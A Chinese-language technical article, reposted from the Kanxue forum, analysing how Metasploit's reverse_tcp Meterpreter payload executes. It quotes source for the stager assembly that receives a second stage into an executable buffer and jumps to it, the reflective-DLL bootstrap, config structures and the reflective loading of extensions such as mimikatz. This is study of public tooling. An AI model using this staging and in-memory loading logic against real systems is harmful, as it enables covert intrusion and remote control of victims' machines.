Meterpreter是Metasploit Framework提供的最常用的攻击载荷(payload)之一,因其功能强大、扩展性好而深受广大渗透测试人员的喜爱。关于Meterpreter的使用方法、免杀技巧等网上已经有很多教程,本文以32位reverse_tcp payload为例,结合源码,分析梳理Meterpreter载荷执行流程和原理。
0x00 流程总览
通过msfconsole生成的reverse_tcp shellcode,其实就是一个stager,这段shellcode的功能是连接MSF,接收MSF发送回来的payload,利用Reflective Dll Injection技术在内存中直接加载payload。
0x01 reverse_tcp shellcode分析
代码位于:
lib/msf/core/payload/windows/reverse_tcp.rb
#
# Generate and compile the stager
#
def generate_reverse_tcp(opts={})
combined_asm = %Q^
cld ; Clear the direction flag.
call start ; Call start, this pushes the address of'api_call' onto
the stack.
#{asm_block_api}
start:
pop ebp
#{asm_reverse_tcp(opts)}
#{asm_block_recv(opts)}
^
Metasm::Shellcode.assemble(Metasm::X86.new, combined_asm).encode_string
end
shellcode大致可以分为三个部分,其中#{asm_block_api}是根据函数hash搜索函数地址并调用,代码位于lib/msf/core/payload/windows/block_api.rb;#{asm_reverse_tcp(opts)}创建TCP连接,#{asm_block_recv(opts)}接收和存储MSF发送过来的数据,跳到接收数据的起始地址进入bootstrap,这两部分代码位于:
/lib/msf/core/payload/windows/reverse_tcp.rb
call start
#{asm_block_api}
Start:
pop ebp
将#{asm_block_api}的地址保存在ebp中,以后只需push 函数的hash值,call ebp即可调用该函数。
下面是#{asm_block_recv(opts)}部分的代码:
recv:
; Receive the size of the incoming second stage...
push byte 0 ; flags
push byte 4 ; length = sizeof( DWORD );
push esi ; the 4 byte buffer on the stack to hold the second stage length
push edi ; the saved socket
push 0x5FC8D902 ; hash( "ws2_32.dll", "recv" )
call ebp ; recv( s, &dwLength, 4, 0 );
; Alloc a RWX buffer for the second stage
mov esi, [esi] ; dereference the pointer to the second stage length
push byte 0x40 ; PAGE_EXECUTE_READWRITE
push 0x1000 ; MEM_COMMIT
push esi ; push the newly recieved second stage length.
push byte 0 ; NULL as we dont care where the allocation is.
push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
; Receive the second stage and execute it...
xchg ebx, eax ; ebx = our new memory address for the new stage
push ebx ; push the address of the new stage so we can return into it
read_more: ;
push byte 0 ; flags
push esi ; length
push ebx ; the current address into our second stage's RWX buffer
push edi ; the saved socket
push 0x5FC8D902 ; hash( "ws2_32.dll", "recv" )
call ebp ; recv( s, buffer, length, 0 );
add ebx, eax ; buffer += bytes_received
sub esi, eax ; length -= bytes_received, will set flags
jnz read_more ; continue if we have more to read
ret ; return into the second stage
先接收4字节的length,调用VirtualAlloc分配具有PAGE_EXECUTE_READWRITE属性的内存用于保存payload,xchg ebx,eax;push ebx将内存地址压入栈中,最后通过ret指令从栈里弹出地址,跳入该地址执行。这里edi保存的是socket。
0x02 payload分析
MSF发送过来的payload分为三个部分。第一部分是长度4字节的length,表示后面两部分的总大小;第二部分是修改了DOS头部的metsrv.x86.dll;第三部分是配置数据。
MSF把metsrv.x86.dll的DOS头部修改为一段bootstrap,代码位于:
/lib/msf/core/payload/windows/meterpreter_loader.rb
def asm_invoke_metsrv(opts={})
asm
= %Q^
; prologue
dec ebp ; 'M'
pop edx ; 'Z'
call $+5 ; call next instruction
pop ebx ; get the current location (+7 bytes)
push edx
; restore edx
inc ebp ; restore ebp
push ebp ; save ebp for later
mov ebp, esp ; set up a new stack frame
; Invoke ReflectiveLoader()
; add the offset to ReflectiveLoader() (0x????????)
add ebx, #
{"0x%.8x" % (opts[:rdi_offset] - 7)}
call ebx ; invoke ReflectiveLoader()
; Invoke DllMain(hInstance, DLL_METASPLOIT_ATTACH, config_ptr)
; offset from ReflectiveLoader() to the end of the DLL
add ebx, #
{"0x%.8x" % (opts[:length] - opts[:rdi_offset])}
^
unless opts[:stageless] || opts[:force_write_handle] == true
asm << %Q^
mov [ebx], edi ; write the current socket/handle to the config
^
end
asm << %Q^
push ebx ; push the pointer to the configuration start
push 4 ; indicate that we have attached
push eax ; push some arbitrary value for hInstance
call eax ; call DllMain(hInstance, DLL_METASPLOIT_ATTACH, config_ptr)
^
End
dec ebp ; 'M'
pop edx ; 'Z'
两条无效指令仅仅是为了恢复DOS头部标志。
call $+5 ; call next instruction
pop ebx ; get the current location (+7 bytes)
将当前指令的地址保存在ebx中:
push edx ; restore edx
inc ebp ; restore ebp
还原前面dec ebp,pop edx两条指令:
add ebx, #{"0x%.8x" % (opts[:rdi_offset] - 7)}
call ebx ; invoke ReflectiveLoader()
MSF计算出ReflectiveLoader函数相对于PE文件头部的偏移,减去前三条指令占用的7字节,再加上ebx,得到ReflectiveLoader函数在内存中的地址。
Reflective DLL Injection是一种在内存中直接加载DLL的技术。这里不再讲述细节,看雪论坛、github都有不少相关代码和教程。实现步骤大致如下:
1、根据IMAGE_NT_HEADERS.OptionalHeader.SizeOfImage的大小分配一片内存。
2、根据IMAGE_SECTION_HEADER的信息将各section复制到新的内存中。
3、处理导出表。
4、处理重定位表。
5、以DLL_PROCESS_ATTACH为参数调用 DllMain。
add ebx, #{"0x%.8x" % (opts[:length] - opts[:rdi_offset])}
ebx指向第三部分配置数据。其数据结构定义在metasploit-payloads/c/meterpreter/source/common/config.h:
typedef struct _MetsrvConfig
{
MetsrvSession session;
MetsrvTransportCommon transports[1];///! Placeholder for 0 or more transports
// Extensions will appear after this
// After extensions, we get a list of extension initialisers
//
\x00 //
\x00 // \x00
} MetsrvConfig;
typedef struct _MetsrvSession
{
union
{
UINT_PTR handle;
BYTE padding[8];
} comms_handle; ///! Socket/handle for communications (if there is one).
DWORD exit_func;///! Exit func identifier for when the session ends.
int expiry; ///! The total number of seconds to wait before killing off the session.
BYTE uuid[UUID_SIZE]; ///! UUID
BYTE session_guid[sizeof(GUID)];///! Current session GUID
} MetsrvSession;
typedef struct _MetsrvTransportCommon
{
CHARTYPE url[URL_SIZE]; ///! Transport url: scheme://host:port/URI
int comms_timeout;///! Number of sessions to wait for a new packet.
int retry_total;///! Total seconds to retry comms for.
int retry_wait; ///! Seconds to wait between reconnects.
} MetsrvTransportCommon;
其中transports是个MetsrvTransportCommon数组,meterprter会循环尝试所有transports进行连接,在这个例子中只有一个TCP transport。
mov [ebx], edi ; write the current socket/handle to the config
push ebx ; push the pointer to the configuration start
push 4 ; indicate that we have attached
push eax ; push some arbitrary value for hInstance
call eax ; call DllMain(hInstance, DLL_METASPLOIT_ATTACH, config_ptr)
完成内存加载DLL之后,bootstrap以DLL_METASPLOIT_ATTACH为参数调用DllMain,从这里开始就完全进入了metsrv.x86.dll的代码中。
参见:
https://github.com/rapid7/metasploit-payloads/tree/master/c/meterpreter
执行流程大致是:
DllMain--->MetasploitDllAttach--->Init--->server_setup
在server_setup函数中根据MetsrvTransportCommon数组创建transports,注册命令分发函数,加载扩展,最后进入server_dispatch循环,接收处理MSF发送过来的命令。
Meterpreter通过Command结构体的数组和链表维持两个命令分发表(Dispatch Table)。
typedef struct command
{
LPCSTR method; ///< Identifier for the command.
PacketDispatcher request;///< Defines the request handler.
PacketDispatcher response; ///< Defines the response handler.
// Internal -- not stored
struct command *next; ///< Pointer to the next command in the command list.
struct command *prev; ///< Pointer to the previous command in the command list.
} Command;
其中method为命令字符串,request,response为命令处理函数。
一个命令分发表是Command baseCommands[]数组,可处理migrate、shutdown等命令,这个数组无法扩展;另一个是Command* extensionCommands指针指向的命令分发表,这是一个链表,可通过command_register函数将其余Command和扩展中的Command动态插入链表中。
0x03 Meterpreter扩展加载
Meterpreter有两种方式接收扩展。在早期的版本中,MSF将stdapi和pri两个扩展与payload一同发送,由reverse_tcp shellcode接收。数据包格式如下:
MetsrvExtension.size
Extension1.dll
MetsrvExtension.size
Extension2.dll
MetsrvExtension.size = 0
initData
typedef struct _MetsrvExtension
{
DWORD size; ///! Size of the extension.
BYTE dll[1];///! Array of extension bytes (will be more than 1).
} MetsrvExtension;
在server_setup函数中调用load_stageless_extensions加载扩展:
while (stagelessExtensions->size > 0)
{
dprintf("[SERVER] Extension located at 0x%p: %u bytes", stagelessExtensions->dll, stagelessExtensions->size);
HMODULE hLibrary = LoadLibraryR(stagelessExtensions->dll, stagelessExtensions->size);
load_extension(hLibrary, TRUE, remote, NULL, extensionCommands);
stagelessExtensions = (MetsrvExtension*)((LPBYTE)stagelessExtensions->dll + stagelessExtensions->size);
}
根据MetsrvExtension.size大小读取Dll数据,与meterpreter自身的加载方式相同,扩展采用了ReflectiveLoader技术在内存中加载:获取ReflectiveLoader函数地址并调用,最后调用扩展导出函数InitServerExtension扩充命令分发表。
另一种方式是通过load命令加载,例如“load mimikatz”。处理load命令的函数是request_core_loadlib,同样采用了ReflectiveLoader技术。
// If the library is not to be stored on disk,
if (!(flags & LOAD_LIBRARY_FLAG_ON_DISK))
{
// try to load the library via its reflective loader...
library = LoadLibraryR(dataTlv.buffer, dataTlv.header.length);
if (library == NULL)
{
// if that fails, presumably besause the library doesn't support
// reflective injection, we default to using libloader...
library = libloader_load_library(targetPath,
dataTlv.buffer, dataTlv.header.length);
}
else
{
bLibLoadedReflectivly = TRUE;
}
res = (library) ? ERROR_SUCCESS : ERROR_NOT_FOUND;
}
// If this library is supposed to be an extension library, try to
// call its Init routine
if ((flags & LOAD_LIBRARY_FLAG_EXTENSION) && library)
{
res = load_extension(library, bLibLoadedReflectivly, remote, response, first);
}
0x04 参考资料
https://github.com/rapid7/metasploit-payloads
Meterpreter 载荷执行原理分析
Deep Dive Into Stageless Meterpreter Payloads
原文作者:lollipop
原文链接:https://bbs.pediy.com/thread-247616.htm
转载请注明:转自看雪学院
更多阅读:
1、[原创] PEDIY-JD CTF 2018 Windows CrackMe 题目及设计思路
2、[原创]觉醒之战Ⅰ:洞察HW程序员的脑洞
3、[原创]几种常见的注入姿势
4、[翻译]StaDynA:解决Android APP安全分析中的动态代码更新问题